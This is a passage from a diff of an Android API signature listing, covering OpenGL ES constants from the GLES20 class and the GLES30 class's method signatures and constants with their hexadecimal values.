+    field public static final int GL_SHADER_COMPILER = 36346; // 0x8dfa
+    field public static final int GL_SHADER_SOURCE_LENGTH = 35720; // 0x8b88
+    field public static final int GL_SHADER_TYPE = 35663; // 0x8b4f
+    field public static final int GL_SHADING_LANGUAGE_VERSION = 35724; // 0x8b8c
+    field public static final int GL_SHORT = 5122; // 0x1402
+    field public static final int GL_SRC_ALPHA = 770; // 0x302
+    field public static final int GL_SRC_ALPHA_SATURATE = 776; // 0x308
+    field public static final int GL_SRC_COLOR = 768; // 0x300
+    field public static final int GL_STATIC_DRAW = 35044; // 0x88e4
+    field public static final int GL_STENCIL_ATTACHMENT = 36128; // 0x8d20
+    field public static final int GL_STENCIL_BACK_FAIL = 34817; // 0x8801
+    field public static final int GL_STENCIL_BACK_FUNC = 34816; // 0x8800
+    field public static final int GL_STENCIL_BACK_PASS_DEPTH_FAIL = 34818; // 0x8802
+    field public static final int GL_STENCIL_BACK_PASS_DEPTH_PASS = 34819; // 0x8803
+    field public static final int GL_STENCIL_BACK_REF = 36003; // 0x8ca3
+    field public static final int GL_STENCIL_BACK_VALUE_MASK = 36004; // 0x8ca4
+    field public static final int GL_STENCIL_BACK_WRITEMASK = 36005; // 0x8ca5
+    field public static final int GL_STENCIL_BITS = 3415; // 0xd57
+    field public static final int GL_STENCIL_BUFFER_BIT = 1024; // 0x400
+    field public static final int GL_STENCIL_CLEAR_VALUE = 2961; // 0xb91
+    field public static final int GL_STENCIL_FAIL = 2964; // 0xb94
+    field public static final int GL_STENCIL_FUNC = 2962; // 0xb92
+    field @Deprecated public static final int GL_STENCIL_INDEX = 6401; // 0x1901
+    field public static final int GL_STENCIL_INDEX8 = 36168; // 0x8d48
+    field public static final int GL_STENCIL_PASS_DEPTH_FAIL = 2965; // 0xb95
+    field public static final int GL_STENCIL_PASS_DEPTH_PASS = 2966; // 0xb96
+    field public static final int GL_STENCIL_REF = 2967; // 0xb97
+    field public static final int GL_STENCIL_TEST = 2960; // 0xb90
+    field public static final int GL_STENCIL_VALUE_MASK = 2963; // 0xb93
+    field public static final int GL_STENCIL_WRITEMASK = 2968; // 0xb98
+    field public static final int GL_STREAM_DRAW = 35040; // 0x88e0
+    field public static final int GL_SUBPIXEL_BITS = 3408; // 0xd50
+    field public static final int GL_TEXTURE = 5890; // 0x1702
+    field public static final int GL_TEXTURE0 = 33984; // 0x84c0
+    field public static final int GL_TEXTURE1 = 33985; // 0x84c1
+    field public static final int GL_TEXTURE10 = 33994; // 0x84ca
+    field public static final int GL_TEXTURE11 = 33995; // 0x84cb
+    field public static final int GL_TEXTURE12 = 33996; // 0x84cc
+    field public static final int GL_TEXTURE13 = 33997; // 0x84cd
+    field public static final int GL_TEXTURE14 = 33998; // 0x84ce
+    field public static final int GL_TEXTURE15 = 33999; // 0x84cf
+    field public static final int GL_TEXTURE16 = 34000; // 0x84d0
+    field public static final int GL_TEXTURE17 = 34001; // 0x84d1
+    field public static final int GL_TEXTURE18 = 34002; // 0x84d2
+    field public static final int GL_TEXTURE19 = 34003; // 0x84d3
+    field public static final int GL_TEXTURE2 = 33986; // 0x84c2
+    field public static final int GL_TEXTURE20 = 34004; // 0x84d4
+    field public static final int GL_TEXTURE21 = 34005; // 0x84d5
+    field public static final int GL_TEXTURE22 = 34006; // 0x84d6
+    field public static final int GL_TEXTURE23 = 34007; // 0x84d7
+    field public static final int GL_TEXTURE24 = 34008; // 0x84d8
+    field public static final int GL_TEXTURE25 = 34009; // 0x84d9
+    field public static final int GL_TEXTURE26 = 34010; // 0x84da
+    field public static final int GL_TEXTURE27 = 34011; // 0x84db
+    field public static final int GL_TEXTURE28 = 34012; // 0x84dc
+    field public static final int GL_TEXTURE29 = 34013; // 0x84dd
+    field public static final int GL_TEXTURE3 = 33987; // 0x84c3
+    field public static final int GL_TEXTURE30 = 34014; // 0x84de
+    field public static final int GL_TEXTURE31 = 34015; // 0x84df
+    field public static final int GL_TEXTURE4 = 33988; // 0x84c4
+    field public static final int GL_TEXTURE5 = 33989; // 0x84c5
+    field public static final int GL_TEXTURE6 = 33990; // 0x84c6
+    field public static final int GL_TEXTURE7 = 33991; // 0x84c7
+    field public static final int GL_TEXTURE8 = 33992; // 0x84c8
+    field public static final int GL_TEXTURE9 = 33993; // 0x84c9
+    field public static final int GL_TEXTURE_2D = 3553; // 0xde1
+    field public static final int GL_TEXTURE_BINDING_2D = 32873; // 0x8069
+    field public static final int GL_TEXTURE_BINDING_CUBE_MAP = 34068; // 0x8514
+    field public static final int GL_TEXTURE_CUBE_MAP = 34067; // 0x8513
+    field public static final int GL_TEXTURE_CUBE_MAP_NEGATIVE_X = 34070; // 0x8516
+    field public static final int GL_TEXTURE_CUBE_MAP_NEGATIVE_Y = 34072; // 0x8518
+    field public static final int GL_TEXTURE_CUBE_MAP_NEGATIVE_Z = 34074; // 0x851a
+    field public static final int GL_TEXTURE_CUBE_MAP_POSITIVE_X = 34069; // 0x8515
+    field public static final int GL_TEXTURE_CUBE_MAP_POSITIVE_Y = 34071; // 0x8517
+    field public static final int GL_TEXTURE_CUBE_MAP_POSITIVE_Z = 34073; // 0x8519
+    field public static final int GL_TEXTURE_MAG_FILTER = 10240; // 0x2800
+    field public static final int GL_TEXTURE_MIN_FILTER = 10241; // 0x2801
+    field public static final int GL_TEXTURE_WRAP_S = 10242; // 0x2802
+    field public static final int GL_TEXTURE_WRAP_T = 10243; // 0x2803
+    field public static final int GL_TRIANGLES = 4; // 0x4
+    field public static final int GL_TRIANGLE_FAN = 6; // 0x6
+    field public static final int GL_TRIANGLE_STRIP = 5; // 0x5
+    field public static final int GL_TRUE = 1; // 0x1
+    field public static final int GL_UNPACK_ALIGNMENT = 3317; // 0xcf5
+    field public static final int GL_UNSIGNED_BYTE = 5121; // 0x1401
+    field public static final int GL_UNSIGNED_INT = 5125; // 0x1405
+    field public static final int GL_UNSIGNED_SHORT = 5123; // 0x1403
+    field public static final int GL_UNSIGNED_SHORT_4_4_4_4 = 32819; // 0x8033
+    field public static final int GL_UNSIGNED_SHORT_5_5_5_1 = 32820; // 0x8034
+    field public static final int GL_UNSIGNED_SHORT_5_6_5 = 33635; // 0x8363
+    field public static final int GL_VALIDATE_STATUS = 35715; // 0x8b83
+    field public static final int GL_VENDOR = 7936; // 0x1f00
+    field public static final int GL_VERSION = 7938; // 0x1f02
+    field public static final int GL_VERTEX_ATTRIB_ARRAY_BUFFER_BINDING = 34975; // 0x889f
+    field public static final int GL_VERTEX_ATTRIB_ARRAY_ENABLED = 34338; // 0x8622
+    field public static final int GL_VERTEX_ATTRIB_ARRAY_NORMALIZED = 34922; // 0x886a
+    field public static final int GL_VERTEX_ATTRIB_ARRAY_POINTER = 34373; // 0x8645
+    field public static final int GL_VERTEX_ATTRIB_ARRAY_SIZE = 34339; // 0x8623
+    field public static final int GL_VERTEX_ATTRIB_ARRAY_STRIDE = 34340; // 0x8624
+    field public static final int GL_VERTEX_ATTRIB_ARRAY_TYPE = 34341; // 0x8625
+    field public static final int GL_VERTEX_SHADER = 35633; // 0x8b31
+    field public static final int GL_VIEWPORT = 2978; // 0xba2
+    field public static final int GL_ZERO = 0; // 0x0
+  }
+
+  public class GLES30 extends android.opengl.GLES20 {
+    ctor public GLES30();
+    method public static void glBeginQuery(int, int);
+    method public static void glBeginTransformFeedback(int);
+    method public static void glBindBufferBase(int, int, int);
+    method public static void glBindBufferRange(int, int, int, int, int);
+    method public static void glBindSampler(int, int);
+    method public static void glBindTransformFeedback(int, int);
+    method public static void glBindVertexArray(int);
+    method public static void glBlitFramebuffer(int, int, int, int, int, int, int, int, int, int);
+    method public static void glClearBufferfi(int, int, float, int);
+    method public static void glClearBufferfv(int, int, float[], int);
+    method public static void glClearBufferfv(int, int, java.nio.FloatBuffer);
+    method public static void glClearBufferiv(int, int, int[], int);
+    method public static void glClearBufferiv(int, int, java.nio.IntBuffer);
+    method public static void glClearBufferuiv(int, int, int[], int);
+    method public static void glClearBufferuiv(int, int, java.nio.IntBuffer);
+    method public static int glClientWaitSync(long, int, long);
+    method public static void glCompressedTexImage3D(int, int, int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glCompressedTexImage3D(int, int, int, int, int, int, int, int, int);
+    method public static void glCompressedTexSubImage3D(int, int, int, int, int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glCompressedTexSubImage3D(int, int, int, int, int, int, int, int, int, int, int);
+    method public static void glCopyBufferSubData(int, int, int, int, int);
+    method public static void glCopyTexSubImage3D(int, int, int, int, int, int, int, int, int);
+    method public static void glDeleteQueries(int, int[], int);
+    method public static void glDeleteQueries(int, java.nio.IntBuffer);
+    method public static void glDeleteSamplers(int, int[], int);
+    method public static void glDeleteSamplers(int, java.nio.IntBuffer);
+    method public static void glDeleteSync(long);
+    method public static void glDeleteTransformFeedbacks(int, int[], int);
+    method public static void glDeleteTransformFeedbacks(int, java.nio.IntBuffer);
+    method public static void glDeleteVertexArrays(int, int[], int);
+    method public static void glDeleteVertexArrays(int, java.nio.IntBuffer);
+    method public static void glDrawArraysInstanced(int, int, int, int);
+    method public static void glDrawBuffers(int, int[], int);
+    method public static void glDrawBuffers(int, java.nio.IntBuffer);
+    method public static void glDrawElementsInstanced(int, int, int, java.nio.Buffer, int);
+    method public static void glDrawElementsInstanced(int, int, int, int, int);
+    method public static void glDrawRangeElements(int, int, int, int, int, java.nio.Buffer);
+    method public static void glDrawRangeElements(int, int, int, int, int, int);
+    method public static void glEndQuery(int);
+    method public static void glEndTransformFeedback();
+    method public static long glFenceSync(int, int);
+    method public static void glFlushMappedBufferRange(int, int, int);
+    method public static void glFramebufferTextureLayer(int, int, int, int, int);
+    method public static void glGenQueries(int, int[], int);
+    method public static void glGenQueries(int, java.nio.IntBuffer);
+    method public static void glGenSamplers(int, int[], int);
+    method public static void glGenSamplers(int, java.nio.IntBuffer);
+    method public static void glGenTransformFeedbacks(int, int[], int);
+    method public static void glGenTransformFeedbacks(int, java.nio.IntBuffer);
+    method public static void glGenVertexArrays(int, int[], int);
+    method public static void glGenVertexArrays(int, java.nio.IntBuffer);
+    method public static void glGetActiveUniformBlockName(int, int, int, int[], int, byte[], int);
+    method public static void glGetActiveUniformBlockName(int, int, java.nio.Buffer, java.nio.Buffer);
+    method public static String glGetActiveUniformBlockName(int, int);
+    method public static void glGetActiveUniformBlockiv(int, int, int, int[], int);
+    method public static void glGetActiveUniformBlockiv(int, int, int, java.nio.IntBuffer);
+    method public static void glGetActiveUniformsiv(int, int, int[], int, int, int[], int);
+    method public static void glGetActiveUniformsiv(int, int, java.nio.IntBuffer, int, java.nio.IntBuffer);
+    method public static void glGetBufferParameteri64v(int, int, long[], int);
+    method public static void glGetBufferParameteri64v(int, int, java.nio.LongBuffer);
+    method public static java.nio.Buffer glGetBufferPointerv(int, int);
+    method public static int glGetFragDataLocation(int, String);
+    method public static void glGetInteger64i_v(int, int, long[], int);
+    method public static void glGetInteger64i_v(int, int, java.nio.LongBuffer);
+    method public static void glGetInteger64v(int, long[], int);
+    method public static void glGetInteger64v(int, java.nio.LongBuffer);
+    method public static void glGetIntegeri_v(int, int, int[], int);
+    method public static void glGetIntegeri_v(int, int, java.nio.IntBuffer);
+    method public static void glGetInternalformativ(int, int, int, int, int[], int);
+    method public static void glGetInternalformativ(int, int, int, int, java.nio.IntBuffer);
+    method public static void glGetProgramBinary(int, int, int[], int, int[], int, java.nio.Buffer);
+    method public static void glGetProgramBinary(int, int, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.Buffer);
+    method public static void glGetQueryObjectuiv(int, int, int[], int);
+    method public static void glGetQueryObjectuiv(int, int, java.nio.IntBuffer);
+    method public static void glGetQueryiv(int, int, int[], int);
+    method public static void glGetQueryiv(int, int, java.nio.IntBuffer);
+    method public static void glGetSamplerParameterfv(int, int, float[], int);
+    method public static void glGetSamplerParameterfv(int, int, java.nio.FloatBuffer);
+    method public static void glGetSamplerParameteriv(int, int, int[], int);
+    method public static void glGetSamplerParameteriv(int, int, java.nio.IntBuffer);
+    method public static String glGetStringi(int, int);
+    method public static void glGetSynciv(long, int, int, int[], int, int[], int);
+    method public static void glGetSynciv(long, int, int, java.nio.IntBuffer, java.nio.IntBuffer);
+    method public static void glGetTransformFeedbackVarying(int, int, int, int[], int, int[], int, int[], int, byte[], int);
+    method @Deprecated public static void glGetTransformFeedbackVarying(int, int, int, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.IntBuffer, byte);
+    method public static void glGetTransformFeedbackVarying(int, int, int, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.IntBuffer, java.nio.ByteBuffer);
+    method public static String glGetTransformFeedbackVarying(int, int, int[], int, int[], int);
+    method public static String glGetTransformFeedbackVarying(int, int, java.nio.IntBuffer, java.nio.IntBuffer);
+    method public static int glGetUniformBlockIndex(int, String);
+    method public static void glGetUniformIndices(int, String[], int[], int);
+    method public static void glGetUniformIndices(int, String[], java.nio.IntBuffer);
+    method public static void glGetUniformuiv(int, int, int[], int);
+    method public static void glGetUniformuiv(int, int, java.nio.IntBuffer);
+    method public static void glGetVertexAttribIiv(int, int, int[], int);
+    method public static void glGetVertexAttribIiv(int, int, java.nio.IntBuffer);
+    method public static void glGetVertexAttribIuiv(int, int, int[], int);
+    method public static void glGetVertexAttribIuiv(int, int, java.nio.IntBuffer);
+    method public static void glInvalidateFramebuffer(int, int, int[], int);
+    method public static void glInvalidateFramebuffer(int, int, java.nio.IntBuffer);
+    method public static void glInvalidateSubFramebuffer(int, int, int[], int, int, int, int, int);
+    method public static void glInvalidateSubFramebuffer(int, int, java.nio.IntBuffer, int, int, int, int);
+    method public static boolean glIsQuery(int);
+    method public static boolean glIsSampler(int);
+    method public static boolean glIsSync(long);
+    method public static boolean glIsTransformFeedback(int);
+    method public static boolean glIsVertexArray(int);
+    method public static java.nio.Buffer glMapBufferRange(int, int, int, int);
+    method public static void glPauseTransformFeedback();
+    method public static void glProgramBinary(int, int, java.nio.Buffer, int);
+    method public static void glProgramParameteri(int, int, int);
+    method public static void glReadBuffer(int);
+    method public static void glReadPixels(int, int, int, int, int, int, int);
+    method public static void glRenderbufferStorageMultisample(int, int, int, int, int);
+    method public static void glResumeTransformFeedback();
+    method public static void glSamplerParameterf(int, int, float);
+    method public static void glSamplerParameterfv(int, int, float[], int);
+    method public static void glSamplerParameterfv(int, int, java.nio.FloatBuffer);
+    method public static void glSamplerParameteri(int, int, int);
+    method public static void glSamplerParameteriv(int, int, int[], int);
+    method public static void glSamplerParameteriv(int, int, java.nio.IntBuffer);
+    method public static void glTexImage3D(int, int, int, int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glTexImage3D(int, int, int, int, int, int, int, int, int, int);
+    method public static void glTexStorage2D(int, int, int, int, int);
+    method public static void glTexStorage3D(int, int, int, int, int, int);
+    method public static void glTexSubImage3D(int, int, int, int, int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glTexSubImage3D(int, int, int, int, int, int, int, int, int, int, int);
+    method public static void glTransformFeedbackVaryings(int, String[], int);
+    method public static void glUniform1ui(int, int);
+    method public static void glUniform1uiv(int, int, int[], int);
+    method public static void glUniform1uiv(int, int, java.nio.IntBuffer);
+    method public static void glUniform2ui(int, int, int);
+    method public static void glUniform2uiv(int, int, int[], int);
+    method public static void glUniform2uiv(int, int, java.nio.IntBuffer);
+    method public static void glUniform3ui(int, int, int, int);
+    method public static void glUniform3uiv(int, int, int[], int);
+    method public static void glUniform3uiv(int, int, java.nio.IntBuffer);
+    method public static void glUniform4ui(int, int, int, int, int);
+    method public static void glUniform4uiv(int, int, int[], int);
+    method public static void glUniform4uiv(int, int, java.nio.IntBuffer);
+    method public static void glUniformBlockBinding(int, int, int);
+    method public static void glUniformMatrix2x3fv(int, int, boolean, float[], int);
+    method public static void glUniformMatrix2x3fv(int, int, boolean, java.nio.FloatBuffer);
+    method public static void glUniformMatrix2x4fv(int, int, boolean, float[], int);
+    method public static void glUniformMatrix2x4fv(int, int, boolean, java.nio.FloatBuffer);
+    method public static void glUniformMatrix3x2fv(int, int, boolean, float[], int);
+    method public static void glUniformMatrix3x2fv(int, int, boolean, java.nio.FloatBuffer);
+    method public static void glUniformMatrix3x4fv(int, int, boolean, float[], int);
+    method public static void glUniformMatrix3x4fv(int, int, boolean, java.nio.FloatBuffer);
+    method public static void glUniformMatrix4x2fv(int, int, boolean, float[], int);
+    method public static void glUniformMatrix4x2fv(int, int, boolean, java.nio.FloatBuffer);
+    method public static void glUniformMatrix4x3fv(int, int, boolean, float[], int);
+    method public static void glUniformMatrix4x3fv(int, int, boolean, java.nio.FloatBuffer);
+    method public static boolean glUnmapBuffer(int);
+    method public static void glVertexAttribDivisor(int, int);
+    method public static void glVertexAttribI4i(int, int, int, int, int);
+    method public static void glVertexAttribI4iv(int, int[], int);
+    method public static void glVertexAttribI4iv(int, java.nio.IntBuffer);
+    method public static void glVertexAttribI4ui(int, int, int, int, int);
+    method public static void glVertexAttribI4uiv(int, int[], int);
+    method public static void glVertexAttribI4uiv(int, java.nio.IntBuffer);
+    method public static void glVertexAttribIPointer(int, int, int, int, java.nio.Buffer);
+    method public static void glVertexAttribIPointer(int, int, int, int, int);
+    method public static void glWaitSync(long, int, long);
+    field public static final int GL_ACTIVE_UNIFORM_BLOCKS = 35382; // 0x8a36
+    field public static final int GL_ACTIVE_UNIFORM_BLOCK_MAX_NAME_LENGTH = 35381; // 0x8a35
+    field public static final int GL_ALREADY_SIGNALED = 37146; // 0x911a
+    field public static final int GL_ANY_SAMPLES_PASSED = 35887; // 0x8c2f
+    field public static final int GL_ANY_SAMPLES_PASSED_CONSERVATIVE = 36202; // 0x8d6a
+    field public static final int GL_BLUE = 6405; // 0x1905
+    field public static final int GL_BUFFER_ACCESS_FLAGS = 37151; // 0x911f
+    field public static final int GL_BUFFER_MAPPED = 35004; // 0x88bc
+    field public static final int GL_BUFFER_MAP_LENGTH = 37152; // 0x9120
+    field public static final int GL_BUFFER_MAP_OFFSET = 37153; // 0x9121
+    field public static final int GL_BUFFER_MAP_POINTER = 35005; // 0x88bd
+    field public static final int GL_COLOR = 6144; // 0x1800
+    field public static final int GL_COLOR_ATTACHMENT1 = 36065; // 0x8ce1
+    field public static final int GL_COLOR_ATTACHMENT10 = 36074; // 0x8cea
+    field public static final int GL_COLOR_ATTACHMENT11 = 36075; // 0x8ceb
+    field public static final int GL_COLOR_ATTACHMENT12 = 36076; // 0x8cec
+    field public static final int GL_COLOR_ATTACHMENT13 = 36077; // 0x8ced
+    field public static final int GL_COLOR_ATTACHMENT14 = 36078; // 0x8cee
+    field public static final int GL_COLOR_ATTACHMENT15 = 36079; // 0x8cef
+    field public static final int GL_COLOR_ATTACHMENT2 = 36066; // 0x8ce2
+    field public static final int GL_COLOR_ATTACHMENT3 = 36067; // 0x8ce3
+    field public static final int GL_COLOR_ATTACHMENT4 = 36068; // 0x8ce4
+    field public static final int GL_COLOR_ATTACHMENT5 = 36069; // 0x8ce5
+    field public static final int GL_COLOR_ATTACHMENT6 = 36070; // 0x8ce6
+    field public static final int GL_COLOR_ATTACHMENT7 = 36071; // 0x8ce7
+    field public static final int GL_COLOR_ATTACHMENT8 = 36072; // 0x8ce8
+    field public static final int GL_COLOR_ATTACHMENT9 = 36073; // 0x8ce9
+    field public static final int GL_COMPARE_REF_TO_TEXTURE = 34894; // 0x884e
+    field public static final int GL_COMPRESSED_R11_EAC = 37488; // 0x9270
+    field public static final int GL_COMPRESSED_RG11_EAC = 37490; // 0x9272
+    field public static final int GL_COMPRESSED_RGB8_ETC2 = 37492; // 0x9274
+    field public static final int GL_COMPRESSED_RGB8_PUNCHTHROUGH_ALPHA1_ETC2 = 37494; // 0x9276
+    field public static final int GL_COMPRESSED_RGBA8_ETC2_EAC = 37496; // 0x9278
+    field public static final int GL_COMPRESSED_SIGNED_R11_EAC = 37489; // 0x9271
+    field public static final int GL_COMPRESSED_SIGNED_RG11_EAC = 37491; // 0x9273
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ETC2_EAC = 37497; // 0x9279
+    field public static final int GL_COMPRESSED_SRGB8_ETC2 = 37493; // 0x9275
+    field public static final int GL_COMPRESSED_SRGB8_PUNCHTHROUGH_ALPHA1_ETC2 = 37495; // 0x9277
+    field public static final int GL_CONDITION_SATISFIED = 37148; // 0x911c
+    field public static final int GL_COPY_READ_BUFFER = 36662; // 0x8f36
+    field public static final int GL_COPY_READ_BUFFER_BINDING = 36662; // 0x8f36
+    field public static final int GL_COPY_WRITE_BUFFER = 36663; // 0x8f37
+    field public static final int GL_COPY_WRITE_BUFFER_BINDING = 36663; // 0x8f37
+    field public static final int GL_CURRENT_QUERY = 34917; // 0x8865
+    field public static final int GL_DEPTH = 6145; // 0x1801
+    field public static final int GL_DEPTH24_STENCIL8 = 35056; // 0x88f0
+    field public static final int GL_DEPTH32F_STENCIL8 = 36013; // 0x8cad
+    field public static final int GL_DEPTH_COMPONENT24 = 33190; // 0x81a6
+    field public static final int GL_DEPTH_COMPONENT32F = 36012; // 0x8cac
+    field public static final int GL_DEPTH_STENCIL = 34041; // 0x84f9
+    field public static final int GL_DEPTH_STENCIL_ATTACHMENT = 33306; // 0x821a
+    field public static final int GL_DRAW_BUFFER0 = 34853; // 0x8825
+    field public static final int GL_DRAW_BUFFER1 = 34854; // 0x8826
+    field public static final int GL_DRAW_BUFFER10 = 34863; // 0x882f
+    field public static final int GL_DRAW_BUFFER11 = 34864; // 0x8830
+    field public static final int GL_DRAW_BUFFER12 = 34865; // 0x8831
+    field public static final int GL_DRAW_BUFFER13 = 34866; // 0x8832
+    field public static final int GL_DRAW_BUFFER14 = 34867; // 0x8833
+    field public static final int GL_DRAW_BUFFER15 = 34868; // 0x8834
+    field public static final int GL_DRAW_BUFFER2 = 34855; // 0x8827
+    field public static final int GL_DRAW_BUFFER3 = 34856; // 0x8828
+    field public static final int GL_DRAW_BUFFER4 = 34857; // 0x8829
+    field public static final int GL_DRAW_BUFFER5 = 34858; // 0x882a
+    field public static final int GL_DRAW_BUFFER6 = 34859; // 0x882b
+    field public static final int GL_DRAW_BUFFER7 = 34860; // 0x882c
+    field public static final int GL_DRAW_BUFFER8 = 34861; // 0x882d
+    field public static final int GL_DRAW_BUFFER9 = 34862; // 0x882e
+    field public static final int GL_DRAW_FRAMEBUFFER = 36009; // 0x8ca9
+    field public static final int GL_DRAW_FRAMEBUFFER_BINDING = 36006; // 0x8ca6
+    field public static final int GL_DYNAMIC_COPY = 35050; // 0x88ea
+    field public static final int GL_DYNAMIC_READ = 35049; // 0x88e9
+    field public static final int GL_FLOAT_32_UNSIGNED_INT_24_8_REV = 36269; // 0x8dad
+    field public static final int GL_FLOAT_MAT2x3 = 35685; // 0x8b65
+    field public static final int GL_FLOAT_MAT2x4 = 35686; // 0x8b66
+    field public static final int GL_FLOAT_MAT3x2 = 35687; // 0x8b67
+    field public static final int GL_FLOAT_MAT3x4 = 35688; // 0x8b68
+    field public static final int GL_FLOAT_MAT4x2 = 35689; // 0x8b69
+    field public static final int GL_FLOAT_MAT4x3 = 35690; // 0x8b6a
+    field public static final int GL_FRAGMENT_SHADER_DERIVATIVE_HINT = 35723; // 0x8b8b
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE = 33301; // 0x8215
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_BLUE_SIZE = 33300; // 0x8214
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING = 33296; // 0x8210
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE = 33297; // 0x8211
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE = 33302; // 0x8216
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_GREEN_SIZE = 33299; // 0x8213
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_RED_SIZE = 33298; // 0x8212
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE = 33303; // 0x8217
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER = 36052; // 0x8cd4
+    field public static final int GL_FRAMEBUFFER_DEFAULT = 33304; // 0x8218
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE = 36182; // 0x8d56
+    field public static final int GL_FRAMEBUFFER_UNDEFINED = 33305; // 0x8219
+    field public static final int GL_GREEN = 6404; // 0x1904
+    field public static final int GL_HALF_FLOAT = 5131; // 0x140b
+    field public static final int GL_INTERLEAVED_ATTRIBS = 35980; // 0x8c8c
+    field public static final int GL_INT_2_10_10_10_REV = 36255; // 0x8d9f
+    field public static final int GL_INT_SAMPLER_2D = 36298; // 0x8dca
+    field public static final int GL_INT_SAMPLER_2D_ARRAY = 36303; // 0x8dcf
+    field public static final int GL_INT_SAMPLER_3D = 36299; // 0x8dcb
+    field public static final int GL_INT_SAMPLER_CUBE = 36300; // 0x8dcc
+    field public static final int GL_INVALID_INDEX = -1; // 0xffffffff
+    field public static final int GL_MAJOR_VERSION = 33307; // 0x821b
+    field public static final int GL_MAP_FLUSH_EXPLICIT_BIT = 16; // 0x10
+    field public static final int GL_MAP_INVALIDATE_BUFFER_BIT = 8; // 0x8
+    field public static final int GL_MAP_INVALIDATE_RANGE_BIT = 4; // 0x4
+    field public static final int GL_MAP_READ_BIT = 1; // 0x1
+    field public static final int GL_MAP_UNSYNCHRONIZED_BIT = 32; // 0x20
+    field public static final int GL_MAP_WRITE_BIT = 2; // 0x2
+    field public static final int GL_MAX = 32776; // 0x8008
+    field public static final int GL_MAX_3D_TEXTURE_SIZE = 32883; // 0x8073
+    field public static final int GL_MAX_ARRAY_TEXTURE_LAYERS = 35071; // 0x88ff
+    field public static final int GL_MAX_COLOR_ATTACHMENTS = 36063; // 0x8cdf
+    field public static final int GL_MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS = 35379; // 0x8a33
+    field public static final int GL_MAX_COMBINED_UNIFORM_BLOCKS = 35374; // 0x8a2e
+    field public static final int GL_MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS = 35377; // 0x8a31
+    field public static final int GL_MAX_DRAW_BUFFERS = 34852; // 0x8824
+    field public static final int GL_MAX_ELEMENTS_INDICES = 33001; // 0x80e9
+    field public static final int GL_MAX_ELEMENTS_VERTICES = 33000; // 0x80e8
+    field public static final int GL_MAX_ELEMENT_INDEX = 36203; // 0x8d6b
+    field public static final int GL_MAX_FRAGMENT_INPUT_COMPONENTS = 37157; // 0x9125
+    field public static final int GL_MAX_FRAGMENT_UNIFORM_BLOCKS = 35373; // 0x8a2d
+    field public static final int GL_MAX_FRAGMENT_UNIFORM_COMPONENTS = 35657; // 0x8b49
+    field public static final int GL_MAX_PROGRAM_TEXEL_OFFSET = 35077; // 0x8905
+    field public static final int GL_MAX_SAMPLES = 36183; // 0x8d57
+    field public static final int GL_MAX_SERVER_WAIT_TIMEOUT = 37137; // 0x9111
+    field public static final int GL_MAX_TEXTURE_LOD_BIAS = 34045; // 0x84fd
+    field public static final int GL_MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS = 35978; // 0x8c8a
+    field public static final int GL_MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS = 35979; // 0x8c8b
+    field public static final int GL_MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS = 35968; // 0x8c80
+    field public static final int GL_MAX_UNIFORM_BLOCK_SIZE = 35376; // 0x8a30
+    field public static final int GL_MAX_UNIFORM_BUFFER_BINDINGS = 35375; // 0x8a2f
+    field public static final int GL_MAX_VARYING_COMPONENTS = 35659; // 0x8b4b
+    field public static final int GL_MAX_VERTEX_OUTPUT_COMPONENTS = 37154; // 0x9122
+    field public static final int GL_MAX_VERTEX_UNIFORM_BLOCKS = 35371; // 0x8a2b
+    field public static final int GL_MAX_VERTEX_UNIFORM_COMPONENTS = 35658; // 0x8b4a
+    field public static final int GL_MIN = 32775; // 0x8007
+    field public static final int GL_MINOR_VERSION = 33308; // 0x821c
+    field public static final int GL_MIN_PROGRAM_TEXEL_OFFSET = 35076; // 0x8904
+    field public static final int GL_NUM_EXTENSIONS = 33309; // 0x821d
+    field public static final int GL_NUM_PROGRAM_BINARY_FORMATS = 34814; // 0x87fe
+    field public static final int GL_NUM_SAMPLE_COUNTS = 37760; // 0x9380
+    field public static final int GL_OBJECT_TYPE = 37138; // 0x9112
+    field public static final int GL_PACK_ROW_LENGTH = 3330; // 0xd02
+    field public static final int GL_PACK_SKIP_PIXELS = 3332; // 0xd04
+    field public static final int GL_PACK_SKIP_ROWS = 3331; // 0xd03
+    field public static final int GL_PIXEL_PACK_BUFFER = 35051; // 0x88eb
+    field public static final int GL_PIXEL_PACK_BUFFER_BINDING = 35053; // 0x88ed
+    field public static final int GL_PIXEL_UNPACK_BUFFER = 35052; // 0x88ec
+    field public static final int GL_PIXEL_UNPACK_BUFFER_BINDING = 35055; // 0x88ef
+    field public static final int GL_PRIMITIVE_RESTART_FIXED_INDEX = 36201; // 0x8d69
+    field public static final int GL_PROGRAM_BINARY_FORMATS = 34815; // 0x87ff
+    field public static final int GL_PROGRAM_BINARY_LENGTH = 34625; // 0x8741
+    field public static final int GL_PROGRAM_BINARY_RETRIEVABLE_HINT = 33367; // 0x8257
+    field public static final int GL_QUERY_RESULT = 34918; // 0x8866
+    field public static final int GL_QUERY_RESULT_AVAILABLE = 34919; // 0x8867
+    field public static final int GL_R11F_G11F_B10F = 35898; // 0x8c3a
+    field public static final int GL_R16F = 33325; // 0x822d
+    field public static final int GL_R16I = 33331; // 0x8233
+    field public static final int GL_R16UI = 33332; // 0x8234
+    field public static final int GL_R32F = 33326; // 0x822e
+    field public static final int GL_R32I = 33333; // 0x8235
